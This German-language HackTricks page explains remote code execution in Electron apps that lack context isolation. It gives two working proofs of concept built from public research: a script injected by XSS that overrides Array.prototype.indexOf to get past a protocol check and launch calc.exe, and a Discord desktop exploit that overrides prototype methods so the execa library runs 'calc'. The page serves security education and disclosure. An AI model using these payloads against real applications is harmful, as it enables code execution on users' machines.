Electron contextIsolation RCE via preload code

Unterstütze HackTricks

Beispiel 1

Beispiel von https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Dieser Code öffnet http(s) Links mit dem Standardbrowser:

Etwas wie file:///C:/Windows/systemd32/calc.exe könnte verwendet werden, um einen Rechner auszuführen, das SAFE_PROTOCOLS.indexOf verhindert dies.

Daher könnte ein Angreifer diesen JS-Code über XSS oder beliebige Seitennavigation injizieren:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Da der Aufruf von SAFE_PROTOCOLS.indexOf immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den calc ausführen. Finaler Exploit:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Überprüfen Sie die ursprünglichen Folien auf andere Möglichkeiten, Programme auszuführen, ohne dass eine Eingabeaufforderung nach Berechtigungen fragt.

Offensichtlich gibt es eine weitere Möglichkeit, Code zu laden und auszuführen, indem man auf etwas wie file://127.0.0.1/electron/rce.jar zugreift.

Beispiel 2: Discord App RCE

Beispiel von https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Bei der Überprüfung der Preload-Skripte stellte ich fest, dass Discord die Funktion exponiert, die es ermöglicht, einige erlaubte Module über DiscordNative.nativeModules.requireModule('MODULE-NAME') in die Webseite aufzurufen. Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das child_process Modul, aber ich fand einen Code, bei dem RCE erreicht werden kann, indem die eingebauten JavaScript-Methoden überschrieben werden und die Ausführung des exponierten Moduls gestört wird.

Das Folgende ist der PoC. Ich konnte bestätigen, dass die calc-Anwendung aufpoppt, wenn ich die getGPUDriverVersions-Funktion aufrufe, die im Modul "discord_utils" aus den DevTools definiert ist, während ich RegExp.prototype.test und Array.prototype.join überschreibe.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Die getGPUDriverVersions-Funktion versucht, das Programm mit der "execa"-Bibliothek auszuführen, wie folgt:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Normalerweise versucht execa, "nvidia-smi.exe" auszuführen, das in der nvidiaSmiPath-Variablen angegeben ist. Aufgrund der überschriebenen RegExp.prototype.test und Array.prototype.join wird das Argument jedoch in der internen Verarbeitung von _execa_** durch "_calc_" ersetzt**.

Konkret wird das Argument durch die Änderung der folgenden zwei Teile ersetzt.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Unterstütze HackTricks

Last updated